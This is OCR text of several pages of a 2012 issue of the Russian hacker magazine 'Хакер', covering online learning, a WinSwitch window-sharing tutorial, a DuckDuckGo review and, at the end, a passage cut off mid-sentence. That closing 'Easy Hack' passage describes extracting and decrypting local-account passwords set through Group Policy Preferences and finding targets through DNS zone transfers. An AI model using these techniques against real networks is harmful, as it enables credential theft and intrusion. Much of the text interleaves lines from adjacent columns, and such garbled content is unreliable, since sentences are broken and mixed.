компании требуется больше чем пятнадцать факты прикрыть линками на отчеты, справки, и такие, кто считает, что раз их компания
миллионов, с каким-то партнером ты можешь аналитику и так далее. Хорошо, когда прихо- растет, приносит прибыль (хоть маленькую),
это сделать. дит презентация и к ней существуют сопут- значит, все — они герои, они уже могут жить не
У нас есть четкое требование: мы хотим ствующие материалы: ты можешь почитать, по средствам.
видеть, что это миллиардный рынок. При- проанализировать и сказать: «да, вот анализ
чина проста: мы должны быть уверены, что по конкуренции сделан правильно» или ПРО МОЛОДЫЕ ПРОЕКТЫ
у компании есть возможность маневрировать. «анализ рынка и позиционирования сделан Еще несколько лет назад мы смеялись над
Если компания врывается на только откры- неверно». тем, что есть такие чемпионы всех конкурсов,
вающийся рынок (даже если этот рынок очень Очень важно, когда человек хорошо пред- которые с одним и тем же проектом ходят
интересен в перспективе, но его размер со- ставляет, что он умеет и что нет. Ведь важнее по всем тусовкам и везде его продвигают. Их
ставляет всего порядка двадцати миллионов), всего понять, что к тебе пришла правиль- было считанное количество. На сегодняшний
PCZONE
УНИВЕР ОНЛАЙН
30 Освоить новый для себя язык програм-
мирования сегодня просто как никогда.
Чтобы получить минимальный базис,
с помощью которого можно начать
разработку простейших приложений,
теперь необязательно даже читать
умные книжки. Для многих технологий
появились очень доступные и понятные
обучалки, которые в интерактивном
режиме позволяют пощупать новую для
себя технологию без лишней прилюдии
и занудства. А для фундаментальных
предметов ведущие ВУЗы мира разра-
батывают онлайн-курсы, позволяющие
прослушать лекции, ранее доступные
только студентам за бешенные деньги.
PC ZONE ВЗЛОМ
ВЗЛОМ MALWARE
УНИВЕР ОНЛАЙН
МОЖНО ЛИ СТАТЬ СПЕЦИАЛИСТОМ В IT,
НЕ ВЫХОДЯ ИЗ ДОМА? ДА!
На одних только статьях журнала «Хакер» далеко ель данного материала — показать,
не уедешь. Это я тебе точно говорю. Если хочешь стать Ц насколько просто сегодня можно
обучаться самостоятельно. Бы-
настоящим специалистом в области IT, необходимо учиться стро осваивать новые технологии и языки
программирования. При этом делать это не
и обязательно получить фундаментальные знания о предмете. в напряг и получать настоящее удовольствие
К счастью, сегодня для этого возможностей больше, чем от обучения. Я не претендую на полноту кар-
тины, и эта статья, само собой, не является
когда-либо. В Сети не только доступно множество учебников сборником всех проектов, которые могут по-
бесплатно, но и стремительно развиваются совершенно мочь тебе в самообразовании. Но я постарал-
ся собрать некоторые особенно интересные
новые, прогрессивные способы обучения. И особенно это сервисы, которые были интересны лично мне.
касается нашей – IT’шной — специальности. Уверен, они пригодятся и тебе.
Онлайн-универы
Найдется немало людей, которые захотят по- что всему можно научиться самостоятельно, (например, в iTunes), но и вообще формиро-
спорить о том, необходимо ли ИТ-специалисту — было бы желание. Последнее стало еще вать культуру преподавания университетских
высшее образование. Правы те, кто говорит, что проще после того как ведущие западные вузы предметов онлайн. Хотел бы я сейчас отметить
фундаментальные знания остро необходимы. с зашкаливающей стоимостью обучения начали подобные инициативы со стороны российских
Но можно согласиться и с теми, кто утверждает, не только выкладывать видео своих лекций вузов, но здесь сказать пока нечего.
MITX ОТ МАССАЧУСЕТСКОГО лась информация о первом курсе, который будет давателей — профессор Джеральд Сассмен,
ТЕХНОЛОГИЧЕСКОГО ИНСТИТУТА проходить с помощью этой системы – «6.002x: который создал язык Scheme и является автором
Схемотехника и электроника». Обучение начнется одного из самых лучших учебников по програм-
Ты наверняка слышал и о MIT — не менее из- весной и потребует примерно десять часов в не- мированию — «Structure and Interpretation of
вестном западном вузе. Тот тоже пошел по стопам делю. Предмет непростой, поэтому допускаются Computer Programs». В скором будущем обеща-
Стэнфорда и в начале года анонсировал раз- только студенты, обладающие необходимыми ется появление и других предметов. Уверен, что
работку MITx — технологической платформы для знаниями по электричеству, магнетизму и диффе- подобное по зубам и российским учебным заведе-
онлайн-образования. И вот уже в феврале появи- ренциальному исчислению. Среди трех препо- ниям, которые просто обязаны не отставать.
JavaScript
Главное, о чем я хочу сегодня рассказать — сколько особенно модных языков програм- взаимодействие с пользователем. Особен-
это сервисы, позволяющие изучить вполне мирования: Python, Ruby (плюс Ruby on Rails) ные гики умудряются имплементировать на
конкретный язык программирования. Тут и, конечно же, JavaScript (HTML5). С послед- JavaScript совершенно невозможные вещи:
очень заметна закономерность: чем актив- него и начнем. взять хотя бы проект виртуальной машины,
нее язык развивается и набирает популяр- Ни одно современное веб-приложение не на которой вполне себе успешно запускается
ность, тем больше появляется инструментов обходится сегодня без ударной дозы кода Linux (bellard.org/jslinux). Но этот случай мы
для его изучения. Для примера я взял не- на JS, на котором полностью реализовано рассматривать не будем :).
Если ты читал в прошлом номере интервью все. И чем больше растет спрос, тем больше Впрочем, знание языка пригодится, даже если
с Аленой Владимирской, которая по праву счи- становятся зарплаты. Если у тебя есть опыт ты не собираешься работать профессиональ-
тается ведущим хедхантером Рунета, то уже программирования, и ты хочешь переква- ным разработчиком. Ruby популярен и среди
знаешь, насколько востребованными сейчас лифицироваться на более востребованное экспертов по информационной безопасности:
являются программисты на Ruby on Rails. За направление, то Ruby в связке с Ruby on Rails к примеру, известный фреймворк для хакера
грамотными специалистами, готовыми быстро — совершенно точно очень неплохой вариант. Metasploit (и в том числе все его модули) на-
поднимать растущие веб-проекты, гоняются И выучить его сейчас можно довольно быстро. писаны именно на Ruby.
Python
Python — один из популярнейших языков максимально быстрого прототипирования бывала ситуация, когда нужно было что-то
программирования среди специалистов по сложных информационных систем. Впрочем, оптимизировать, и каждый раз знания языка
информационной безопасности. Огромное ко- прототипом дело часто не ограничивается: оказывались очень полезны.
личество подключаемых библиотек позволяет найдется немало проектов, код которых на- Более того, Python часто встраивают во многие
быстро писать сложные сценарии и вспомога- писан на Python, и которые выдерживают серьезные приложения в качестве скриптово-
тельные приложения. Многие профи вообще огромные нагрузки. Изучить этот язык можно го языка, чтобы иметь богатые возможности
считают Python идеальным инструментом для даже просто для себя: у меня десятки раз для создания сценариев.
ПОПРОБОВАТЬ ТЕХНОЛОГИЮ!
УЧИМСЯ ПЕРЕНОСИТЬ
ЗАПУЩЕННЫЕ
ПРОГРАММЫ С ОДНОГО
КОМПЬЮТЕРА НА ДРУГОЙ
РАСШАРИТЬ
ПРИЛОЖЕНИЕ!
Расшарить между компьютерами какой-либо документ — просто.
Предоставить удаленный доступ к рабочему столу — нет проблем.
Но почему-то до сих пор нельзя просто «поделиться» запущенным
приложением — взять и быстро перенести его окно из одной
системы в другую. С появлением проекта WinSwitch это стало
возможным.
ЧТО ТАКОЕ WINSWITCH? случае, когда для нужной системы нет подходящей версии. Или
Если ты часто имеешь дело с виртуальными машинами, то на- вот еще пример: у меня дома рядом стоят компьютер на Windows
верняка знаешь о такой замечательной возможности как перенос и ноутбук на Ubuntu, — теперь я без проблем могу перекидывать
окон из гостевой операционной системы, запущенной в виртуаль- приложения с одной системы на другую (ну и с одного экрана на
ном окружении, в хостовую ОС (основную систему на компьюте- другой). Хоть даже Visual Studio. В результате можно расшарить не
ре). То есть если на виртуальной машине крутится винда, а сама документ, а приложение.
виртуальная машина работает на Ubuntu, то любые запущенные
приложения можно «перенести» из Windows в Ubuntu. Что самое УСТАНОВКА
прикольное, — они будут работать так, как если бы были запущены Теперь, когда понятно, о чем идет речь, попробуем WinSwitch в дей-
самым обычным способом. У меня давно возникла идея реали- ствии. Для примера организуем связь между двумя машинами, вы-
зовать что-то подобное, но не в плоскости виртуальной машины, брав в качестве плацдарма две разных ОС — Ubuntu Natty Narwhal
а с точки зрения протоколов для доступа к удаленному рабочему (11.04) и Windows XP.
столу. RDP или VNC без проблем позволяют получить картинку Windows. Тут все довольно примитивно: на официальном сайте
с компьютера, который может находиться за тысячи километров, winswitch.org скачиваем инсталлятор, который все сделает за нас.
и вполне комфортно с ним взаимодействовать. Но зачем нужна Для корректной работы программе понадобится mDNS-сервер
картинка полного рабочего стола, когда работать приходится (подробней об mDNS смотри во врезке) — если на машине он не
с одним или двумя конкретными приложениями? Ведь можно же установлен (а он, скорее всего, не установлен), то инсталлятор
отображать только их окна? Удивительно, но реализации такой выдаст соответствующее сообщение и предоставит ссылку на дис-
простой идеи долго не было. Пока не появился WinSwitch! трибутив.
Как это выглядит? Запустив какое-либо приложение через спе- Linux. Я, как уже было отмечено выше, буду использовать
циальный сервер, ты сможешь напрямую перенести его на любое Ubuntu, но, само собой, подойдет и любой другой дистрибутив
устройство, где будет установлен соответствующий клиент. Тут тукса. В убунте приложение можно установить через менеджер па-
нужно понимать — не файлы приложения, а именно окно програм- кетов, предварительно прописав цифровую подпись репозитория
мы, с которым можно работать. Теперь, если нужно продолжить с нужными нам пакетами:
работу над текущим документом в Microsoft Word или, скажем,
над проектом в Visual Studio на другом компьютере, можно просто sudo su -
«перетащить» туда окно. А поскольку проект кроссплатформен- wget -O — https://winswitch.org/gpg.asc | apt-key add -
ный, то это еще и отличный способ работать с приложением в том
Запуск приложения на локальном WinSwtich сервере через контекстное меню Успешное соединение с удаленным сервером ant-vb
echo "deb http://winswitch.org/ natty main" > /etc/apt/ шифрования трафика. Нас же, преж де всего, будет интересо-
sources.list.d/winswitch.list вать параметр listen_on, определяющий, на каком интерфейсе
apt-get update и порт у сервер будет ожидать подключений. Его, в принципе,
apt-get install winswitch тоже можно оставить в состоянии «по умолчанию», но я для
порядка все же поставил listen_on="*:32123" (это означает,
Проект находится в стадии активной разработки и пока пред- что сервер будет ожидать подключения на 32123 порт у на
ставляет собой решение скорее для гиков, чем для обычных всех сетевых интерфейсах). Далее идет еще один интересный
людей, поэтому чтобы заставить его работать придется немного параметр allow_root_logins, который в целях безопасности
повозиться с настройкой. рекомендуется установить в значение False. Он определяет,
можно ли будет подключиться к данному серверу под адми-
НАСТРОЙКА нистратором/ру том. Параметр allow_root_authentication дает
WinSwitch состоит из двух частей: сервера и клиента (так назы- возможность соединиться с сервером под любым пользова-
ваемого апплета). Клиент необходим в системе, чтобы в нее можно телем, не зная его пароля. Его я тоже отключил из соображе-
было «перетащить» приложения — его можно запустить сразу ний безопасности. Следующая интересная секция — mDNS
после установки через меню. Также при старте апплета автомати- settings — позволяет включать/отключать сервис mDNS,
чески запускается локальный сервер, чтобы иметь возможность
расшарить приложения с локальной машины. При запуске клиент
пытается определить все доступные сервера в сети при помощи
mDNS.
Конфигурирование как клиента, так и сервера осуществляется
через конфигурационные файлы. При первом запуске программа
создает необходимые папки и генерирует конфиги, что может занять
некоторое время. Как только программа запустилась, идем искать
конфиги сервера. В *nix они будут в папке ~/.winswitch/server/server.
conf, а в Windows — *\Application Data\Window-Switch\server\server.
conf. Рассмотрим наиболее важные для нас параметры. Каждый сер-
вер имеет свой идентификатор, имя и тип, — все это автоматически
генерируется при запуске и выглядит примерно так:
# Identity
ID="8796747538515"
name="testpc"
type="workstation"
Подключение у удаленному рабочему столу Ubuntu через VNC Сапер, "отправленный" из другой операционной
системы
используемый для того, чтобы клиенты при запуске могли появилось такое же окно, сообщающее, что найден сервер ant-vb
самостоятельно находить в сети дост упные сервера. Если и просьбой ввести пароль пользователя ant для соединения.
установить параметр mDNS_publish в значение False, то Связь установлена — попробуем отправить приложение с одной
автоматический поиск серверов будет отключен и их придется системы на другую. Идем в линукс, жмем на значок WinSwitch
добавлять вручную. Чтобы клиенты обнаруживали не только в трее и выбираем «Start Application Æ Games Æ Mines». Появ-
сервера, но и имя пользователя, под которым можно зайти, ляется аналог виндового сапера (можно чуть поломать голо-
есть опция mDNS_publish_username. Еще одна полезная воз- ву), – теперь мы готовы его расшарить. Опять жмем на иконку
можность — запуск сервера в режиме отладки — может силь- приложения в трее, выбираем «Mines Æ Send to user on testpc».
но помочь, когда надо прояснить, почему что-то не работает. И приложение исчезает. Переходим в винду и видим, что оно
Остальные опции в случае необходимости ты можешь изучить появилось там. Вуаля!
сам, так как они достаточно хорошо прокомментированы Надо сказать, что WinSwitch уже содержит список предопреде-
в самом файле. ленных приложений, рассортированных по категориям, которые
можно расшарить. Но можно запустить и свое приложение, если
ТЕСТ-ДРАЙВ выбрать «Start Application Æ Custom Command». Для удобства
Наша задача — запустить какую-нибудь программу и «отпра- эта фича также интегрируется в контекстное меню, так что будет
вить» ее с одного компьютера на другой. В идеальном случае все достаточно выбрать нужную программу, щелкнуть по ней правой
заработает без лишних заморочек. Сначала поработаем на ма- клавишей и выбрать «Open in Window Switch». Кроме приложений,
шине с Windows XP. Открываем меню «Пуск» и запускаем клиент можно получить доступ к самому рабочему столу («Main Unix Display
Window-Switch. Как уже обсуждалось выше, при запуске апплета Æ VNC Copy»). Помимо непосредственно окна можно форвардить
автоматически запустился и сервер. Апплет его тут же обнару- также и звук (для этого используется библиотека GStreamer).
жил и подключился к нему. Теперь идем в Ubuntu. Открываем
стартовое меню и выбираем «Internet Æ WindowSwitch». Апплет ОТЛАДКА
стартует, запускается сервер. Появляется окно, в котором сооб- Я не зря сделал выше ремарку «в идеальном случае», — с первого
щается, что найден сервер с именем testpc и ID=8796747538515. раза у меня система не запустилась. Нажав на значок апплета в трее,
Подтверждаем, что мы хотим с ним соединиться, после чего я понял, что он видит только локальный сервер. Можно, конечно, до-
нас попросят ввести пароль для пользователя user. В винде бавить сервер вручную, но тогда весь смысл автоматизации теряется.
Multicast DNS (mDNS) является способом «представляя» себя другим участникам сети.
использования привычных программных Таким образом все машины в сети обновляют
интерфейсов DNS в небольших сетях, где свой mDNS-кэш и получают информацию и о
нет необходимости в обычном DNS-сервере. новых хостах/сервисах. Чтобы аннулировать
Проще говоря, использование mDNS свое «представление» (например, в случае
позволяет клиенту определить IP-адрес выключения машины) хост должен отправить
хоста без помощи централизованного DNS- response-пакет с TTL = 0. По умолчанию mDNS
сервера. Машина, ищущая конкретный использует зарезервированную зону «.local».
хост, посылает широковещательный mDNS- Протокол mDNS используют такие системы
запрос. Соответствующий хост отвечает на обнаружения сервисов как Bonjour (Apple)
этот запрос широковещательным ответом, и Avahi (Linux). Ручное добавление сервера для подключения
Ручной запуск Avahi-демона На данной вкладке можно настроить Главное окно настроек программы
используемые протоколы
Сообщение, свидетельствующее об успешном соединении с удаленной Windows-машиной Полный доступ к удаленному рабочему столу Windows-машины из-под Ubuntu
Поэтому вернусь к этому моменту и расскажу, в чем было дело. Немного поясню. Avahi — это система, производящая ана-
Прежде всего надо бы посмотреть логи. Начал я с винды. Лог лиз локальной сети на предмет выявления различных сервисов.
клиента располагался здесь: *\Application Data\Window-Switch\ К примеру, можно подключить ноутбук к локальной сети и сразу
client\applet.log. Ситуации он не прояснил, так как в нем я не увидел получить информацию об имеющихся принтерах, разделяемых ре-
информации о какой-либо ошибке. Ну что ж, тогда проверим сервер. сурсах, сервисах обмена сообщениями и прочих услугах. Подобная
К сожалению, логов сервера я не нашел. Пообщавшись с документа- технология существует в Mac OS X (Rendezvous, Bonjour) и отлично
цией на официальном сайте, было решено следующее: чтобы посмо- себя зарекомендовала. Avahi во многом базируется на реализа-
треть отладочные сообщения сервера, надо запустить его в консоли ции протокола mDNS — flexmdns. Так как в конфиге сервера у нас
с параметром --debug-mode. Запускаем консоль, переходим в папку включена возможность обнаружения через mDNS, а сам mDNS-
программы (C:\Program Files\WinSwitch) и запускаем сервер: сервер у нас не запущен или не установлен, то автоматическое
обнаружение и не срабатывает. Смотрим список процессов – дей-
Switch-Server.exe --debug-mode ствительно, Avahi нет. Но в списке установленных приложений он
фигурирует, — значит, придется просто запустить его вручную:
Покопавшись в сообщениях сервера, ничего криминального avahi-daemon
я снова не обнаружил. Так что, скорее всего, проблема кроется
в Linux-версии. Переходим в линукс. Заходим в консоль и запуска- Сообщение «Service ant-vb (/services/udisks.service) successfully
ем уже линуксовый сервер в отладочном режиме: established» свидетельствует о том, что avahi стартанул успешно.
Может теперь все заработает? Запускаем сервер WinSwitch заново.
winswitch_server --debug-mode Сообщение об ошибке инициализации mDNS уже не присутствует.
На всякий случай проверим лог-файл апплета, который можно
В результате вываливаемся с ошибкой: найти по следующему пути ~/.winswitch/client/applet.log. Там тоже
обнаруживаются записи, свидетельствующие о наличии проблем
[EE] 2012/23/02 19:13:18 WinSwitchServer.check() running с mDNS. Записей о других критических ошибках — не обнаружено.
as root (uid=0) is currently broken Так как проблему с mDNS мы уже решили, запустив демон ahavi, то
теперь вроде бы все должно быть нормально. Выключаем сервер,
И снова общение с официальным сайтом прояснило ситуацию. который мы запустили вручную, и идем в меню, чтобы запустить
Оказывается, сервер и апплет нельзя запускать под рутом (а у меня апплет. Бинго! С этого момента все заработало.
как раз была открыта консоль с правами рута). Ну что ж, попробуем
проделать тот же трюк под обычным пользователем. Запускаем ИСПОЛЬЗОВАТЬ ИЛИ НЕТ?
сервер в режиме отладки под обычным пользователем. И ищем WinSwich – это вполне работоспособная реализация отличной
в консоли все строки, начинающиеся на [DD] (отладочные сообще- идеи, которую я успешно использую уже несколько недель. Уверен,
ния). Пролистывая лог из конца в начало, обратим внимание на что очень скоро появятся коммерческие проекты, эксплуатирую-
стек вызовов функций. Похоже, тут произошла какая-то ошибка, щие подобный подход, но уже с более человеческим интерфейсом,
и программа выкинула нам traceback. Смотрим, что вызывалось простой настройкой и — в идеальном варианте — прозрачным
последним: переносом окон из одной системы в другую (на случай, если два
компьютера стоят рядом). Последнее несложно реализовать, если
AvahiPublisher.__init__(Window Switch for ant on скомбинировать проект WinSwitch и Direct Input, позволяющий
ant-vb,32123,_shifter._tcp.,,,['username=ant', 'ssh_ расшарить между стоящими рядом компьютерами клавиатуру
tunnel=False', 'version=0.12.11', 'ID=8796747971533'],-1) и мышку. z
«GOOGLE
СЛЕДИТ
ЗА ТОБОЙ.
МЫ — НЕТ»
10 ПРИЧИН ОБРАТИТЬ ВНИМАНИЕ
НА ПОИСКОВИК DUCKDUCKGO.COM
Каким поисковиком ты обычно первый раз о таком слышишь? Я начинает напрягать. Не надо нам навязывать
Главная страница DuckDuckGo аскетична, чиста и навевает Вот так продвигал свой поисковик Вайнберг. Этот билборд Поисковик уже сегодня может похвастаться тем, что был
мысли о Google. висел в Сан-Франциско, и Гэбриелу это обходилось в 7 000 удостоен внимания крупных изданий.
$ в месяц.
Никакой слежки за пользователями. цию SMS и типы звонков. Страшно? А ведь это этого пока небольшого, но гордого поис-
2 Если верить создателям, то здесь
царит полная анонимность. Название
даже не самое скверное. Google может собирать
не только историю твоих звонков, он также
ковика, в красках повествующий об истории
поиска в целом и о том, почему сбор данных
этой статьи взято из главного лозунга проекта: читает твою переписку и знает все о твоих пере- о пользователях — это очень и очень плохо.
«Google следит за тобой. Мы — нет». Замечал движениях с точностью до пары метров за
ли ты, как реклама в поисковиках умело последнюю пару лет. Благодаря синхронизиро- В DuckDuckGo практически отсутствует
подстраивается под те запросы, которые ты
делал ранее? На сайте http://donttrack.us
ванным с Gmail контактам знает твоих друзей
и знакомых, а основываясь на подписках
3 спам, которым забиты все коммерче-
ские поисковики. Надолго ли это, увы,
приводится отличная демонстрация того, как и запросах к поиску — знает о твоих интересах. неизвестно, но сейчас результаты поиска
это происходит. Ситуация стала особенно А еще знает о твоих покупках и хранит твои удивляют своей чистотой и точностью. На
актуальной после того, как Google сменил свою документы в Google Docs. сегодня можно сказать точно, что SEO-
политику конфиденциальности. Скажи честно, DuckDuckGo не хранит IP-адреса, не ведет ло- оптимизаторам DuckDuckGo пока по барабану,
ты читал новое соглашение о конфиденциаль- гов пользовательской информации и исполь- и это радует.
ности? А между тем с 1 марта 2012 оно вступило зует куки только тогда, когда это действи-
в силу. Согласно некоторым пунктам, Google тельно необходимо. Создатель поисковика Гибридный поисковик дает больше
в открытую декларирует сбор телефонных
логов, то есть номера телефонов, номера
заявляет: «DuckDuckGo не собирает никакую
личную информацию пользователей и не
4 результатов. Результаты поиска
DuckDuckGo агрегируются из
телефонов вызываемых абонентов, номера для делится ей. Вот и вся наша политика конфи- пятидесяти разных источников, включая
переадресации, дату и время звонков, денциальности». По адресу duckduckgo.com/ Yahoo! Search BOSS, Wikipedia, Wolfram Alpha
длительность звонков, маршрутную информа- privacy.html ты найдешь настоящий манифест и собственного поискового робота. Одним
СИСТЕМА GOODIES
Чтобы лучше понять одну из самых Помимо перечисленного наличествуют точное время в любом городе мира и так далее.
прогрессивных фишек поисковика — goodies — многочисленные полезности, связанные Например, ответом на запрос «area of china»
предлагаем тебе несколько примеров. Начнем с математическими выражениями, (площадь Китая) будет точное, как в аптеке:
с технических. различными формулами, конвертацией, «3.705 million mi2 (square miles) (world rank:
• Запрос «ip address» поможет тебе узнать трансформацией и так далее, далее, далее. 4th), assuming china is a country» (3.705 млн.
свой IP :). Если же свой собственный Также поддерживается немало так называемых квадратных миль (4-я по величине страна
IP’шник тебя не интересует, можешь ввести казуальных goodies: в мире), если под словом «китай» имелась
в поисковую строку любой уже известный • Поиск по датам и фактам. Спроси у Duck- в виду страна).
адрес, скажем, 64.207.122.151, и DuckDuckGo DuckGo: «death date of lincoln» (дата смерти • Реализован поиск по различным ID, будь
сообщит тебе, к какой географической точке Линкольна), и вверху страницы поисковой это трекинг-номер посылки (вводишь
IP относится, а также покажет ее на карте: выдачи ты увидишь строку «Answer: номер отправления в строку поиска
«64.207.122.151 is in: Cheyenne, Wyoming, Saturday, April 15, 1865» (Ответ: суббота, 15 и просто нажимаешь Go!, очень удобно),
United States (82002)». апреля, 1865). международный стандартный номер
• Для чего нужны goodies useragent, whois • Конечно, есть в DuckDuckGo конвертер книги или ISBN, телефон и многое, многое
и им подобные, объяснять, надеюсь, не различных величин и калькулятор, как же другое.
нужно. без них? • Рандомные goodies особенно забавны.
• Запрос вида «U+0153» даст ответ: «character • Имеется множество географических good- Запрос «heads or tails» (орел ли решка) —
= 339: ое — Latin small ligature oe; Unicode = ies, а также goodies, связанных со временем не что иное, как возможность подбросить
U+0153; Decimal = 339; HTML = œ». и часовыми поясами. Кстати, поисковик виртуальную монетку. А ведь еще есть
• Для генерации паролей и ключевых фраз пользуется картографическим сервисом random number, roll die, random word и даже
используй «password * strong» и «passphrase OpenStreetMap. сакраментальное — this or that or none. Для
* words», где * — любое цифровое значение. Возможен поиск места на карте по заданным хардкорщиков предлагается вариант roll
Так же можно генерировать uuid, guid. координатам и по адресам, можно узнать 3d12 + 4.
словом, DuckDuckGo — своеобразная список bang’ов доступен здесь: duckduckgo. Впрочем, нужно заметить, что в случае
оппозиция Google и всем коммерческим com/bang.html (предупреждаем — он огромен). формулировки запросов на русском языке поля
поисковикам в целом, которая просто не могла «ответ» ты, скорее всего, не увидишь. У Wolfram
рано или поздно не появиться. Отдельно стоит Моментальный ответ. Когда в поис- Alpha, к которому обращается DuckDuckGo,
рассказать про !bang. Данная команда
позволяет напрямую обращаться к другим
5 ковике можно набрать «random
number» (случайное число), «perimeter
с великим и могучим пока не слишком хорошо.
поисковым машинам и к сотням сайтов. triangle 1.5 2 3.2» (периметр треугольника со Гибкая настройка. В настройках
Скажем, тебе нужно найти какой-либо
конкретный товар на «Амазоне». Допустим, это
сторонами 1.5, 2, 3.2), «md5 this» (посчитать
md5-хэш для слова «this») и тут же получить
6 поисковика ты можешь легко
отключить показ рекламы, задать
часы. Набери в поисковой строке «!amazon ответ — это называется goodies. Это одна из регион, включить HTTPS по умолчанию,
watch» (или просто «!a watch»), и автоматиче- самых убойных фишек поисковика, и таких указать параметры открытия ссылок и даже
ски попадешь на amazon.com, в уже готовую goodies действительно много — как техниче- настроить внешний вид DDG. Практически
поисковую подборку с часами. Благодаря этой ских и математико-прогерских, так и казуаль- каждый аспект поведения поисковика можно
команде можно легко искать на !youtube, ных (подробнее читай во врезке). К слову, оптимизировать для себя, и это приятно.
!twitter, !wikipedia, в блогах, репозиториях и на поисковик по многим вопросам сверяется
сотнях других ресурсов. Кстати, также с Wolfram Alpha — базой знаний и набором Система горячих клавиш. Плох тот
работают сокращения: !g (google), !i (images), !yt
(youtube), !wiki и так далее. Дополнять список
вычислительных алгоритмов. Благодаря этому
есть возможность ввести в строку конкретный
7 ресурс, который в наши дни не
поддерживает хоткеи. У DuckDuckGo
bang’ов могут и сами пользователи, для этого вопрос и получить на него конкретный ответ с этим полный порядок: общаться с сайтом
достаточно заполнить простую форму. Полный прямо на странице, не проходя по ссылкам. можно вообще без использования мыши или
Примерно сотая часть шорткатов !bang. Их действительно ОЧЕНЬ много. Некоторые вариации goodies.
тачпада. Ниже — маленькая подсказка. Работает по защищенным протоко- Много дополнительных плюшек.
Передвижение по сайту:
Ç или j — следующий результат;
8 лам. У DuckDuckGo есть короткое
доменное имя http://ddg.gg (это,
10 Гики любят DuckDuckGo, поэтому нет
ничего удивительного в появлении
È или k — предыдущий результат; к слову, на 4 символа короче, чем google. вспомогательных инструментов, которые
/ или h — к поисковой строке; com:), которое редиректит посетителя на могут сделать работу с поисковиком еще
esc — выйти из поисковой строки; защищенную SSL-версию сайта — https:// удобнее. Уже сейчас есть специальные
t — наверх; duckduckgo.com. мобильные приложения для Android и iOS
m — к первому результату; Поисковиком можно пользоваться через Tor. (другие в разработке). Поиск можно встроить
1 или ! — открыть выпадающее меню !bang. Адрес внутри сети — 3g2upl4pq6kufc4m.onion. прямо в систему с помощью проектов вроде
Открытые результаты: MultiSeeker (bit.ly/dhbIVF). Также есть
Enter или l или o — открыть подсвеченный DDG можно использовать как прокси. несколько аддонов для популярных браузе-
результат или сразу открыть самый первый;
Ctrl/Cmd+Enter — открыть результат на фоно-
9 Команда «!proxy адрес-сайта»
позволяет зайти на любой сайт через
ров. Создатели даже подняли чатбота (ye.gg/
chatbot), который работает через XMPP
вой вкладке; прокси. Для этой цели DuckDuckGo использу- (Jabber). Результаты можно получить
d — поиск по конкретному сайту (который вы- ет различные бесплатные прокси (что, правда, моментально, отправив сообщение на адрес
делен в результатах). плохо сказывается на скорости). [email protected]. z
РЕТРОСПЕКТИВА
DuckDuckGo — проект одного единственного принимает. «Это было бы неправильно, ведь и доступна любому желающему на GitHub
энтузиаста Гэбриела Вайнберга. Лишь мы некоммерческая компания», — поясняется (github.com/duckduckgo).
после получения инвестиций у поисковика на сайте. Вместо donate’ов пользователям Откуда взялось это дурацкое название? Оно
появилось несколько постоянных сотрудников предлагают активнее нести информацию было выбрано практически случайно. В одном
и собственный офис в американском городе о DuckDuckGo людям. из интервью Гэбриел пояснил: «На самом деле
Паоли. Гэбриел — выходец из Массачусетского DuckDuckGo написан на Perl и JavaScript в один прекрасный день оно просто выскочило
технологического института (MIT). Поисковик с использованием библиотеки YUI. Для у меня в голове, и просто мне понравилось».
для него — далеко не первый проект. Его обслуживания огромного количества Возможно, это связано с популярной в США
социальную сеть The Names Database купила клиентов используется связка nginx, детской игрой под названием «Duck Duck
компания United Online за 10 000 000 долларов FastCGI и memcached, запущенные FreeB- Goose». Кстати, в качестве альтернативы
США. Изначально DuckDuckGo самостоятельно SD и Ubuntu. При этом используются как глаголу «погуглить» (Google it), Вайнберг
финансировался лично Вайнбергом, но сейчас собственные сервера, так и мощности Amazon предлагает использовать «Duck it!» — то есть
существует также и за счет небольшого EC2. Для хранения данных используются «подакать», если транслитерировать это
количества рекламы (которую, напоминаем, PostgreSQL+bucardo, CDB, Solr, BerkelyDB, S3. на русский, или «поуткать», если дословно
можно отключить). Пожертвований проект не Часть исходного кода DuckDuckGo открыта перевести :).
EASY
HACK
ВЫТАЩИТЬ ИЗ СИСТЕМЫ ПАРОЛЬ ОТ ЛОКАЛЬНОЙ УЧЕТКИ
ЗАДАЧА
РЕШЕНИЕ
Как же давно я не писал о такой прекрасной виндовой фиче,
как групповые политики! Тема их обхода стала особенно акту-
альной после появления исследования секьюрити-группы ESEC
(goo.gl/zDJFT).
Для начала давай уточним задачу. Итак, на гипотетической
рабочей станции нам нужно вытащить и расшифровать пароль
от локальной учетной записи, которая была создана при помощи
групповых политик. Если я не ошибаюсь, то начиная с Windows
Server 2008 Microsoft ввела специальное расширение для ло-
кальных политик под названием Group Policy Preferences (GPP).
В Windows Vista и Windows 7 локальные политики поддержива-
Файл с групповой политикой для создания пользователя
ются нативно, а вот для XP потребуется поставить специальное
обновление. Так вот, одной из добавленных функций была воз-
можность создавать локальные учетные записи для группы до-
менных хостов. Функция, безусловно, полезная, и, как уверяют
люди из ESEC, часто используемая администраторами. Вот такие
учетки мы и научимся доставать.
Теперь давай посмотрим, где же эти учетки создаются. Для
этого мы должны найти на контроллере домена раздел «Group
Policy Management» (gpmc.msc). В нем создаем новую по-
литику, а затем в «Local Users and Groups» ветки «Computer
Configuration» — нового пользователя. В процессе создания
мы указываем пароль и задаем другие стандартные настройки
аккаунта. После этого при обновлении политик на доменных
хостах наш пользователь будет успешно создан. Создание пользователя при помощи групповых политик
РЕШЕНИЕ
При проведении любого ИБ-исследования в первую очередь нам
требуется ответить на вопрос «а кого же атаковать»? Это важно,
так как практически любая атака чаще всего проводится против
какой-то организации, у которой может быть очень много ресурсов.
А нам необходимо определить среди них самое слабое звено или
наиболее критичный ресурс. DNS-имя хоста может дать прилич-
ный профит в этом смысле, так как зачастую оно отражает свой
функциональный смысл. Например, в корпоративных сетях вполне
могут присутствовать такие имена как «buhgal» или «bank», до ко-
торых тебе, конечно же, захочется добраться. Как пример, для веба
можно взять поиск «скрытых» доменов вроде admin.example.com.
Одним из простейших методов определения имен хостов
является обратный DNS-запрос (reverse), когда мы запрашиваем
у DNS-сервера имена хостов на основании их IP-адресов. Однако
для корпоративок этот метод шумноват, так как необходимо запра-
шивать имена для всех хостов по очереди, а для веба он не совсем
оправдан, — домены могут находиться не на смежных IP-адресах.
Но если нам повезет, и DNS-сервер не совсем корректно настро-
ен, то мы сможем получить всю необходимую информацию разом.
Да-да, я говорю про DNS Zone Transfer. Для тех, кто не в курсе, эта
Zone transfer для одного из корневых серверов домена .arpa
документированная функция DNS предназначена для того, чтобы
делиться своими записями о зоне. При корректной настройке Zone
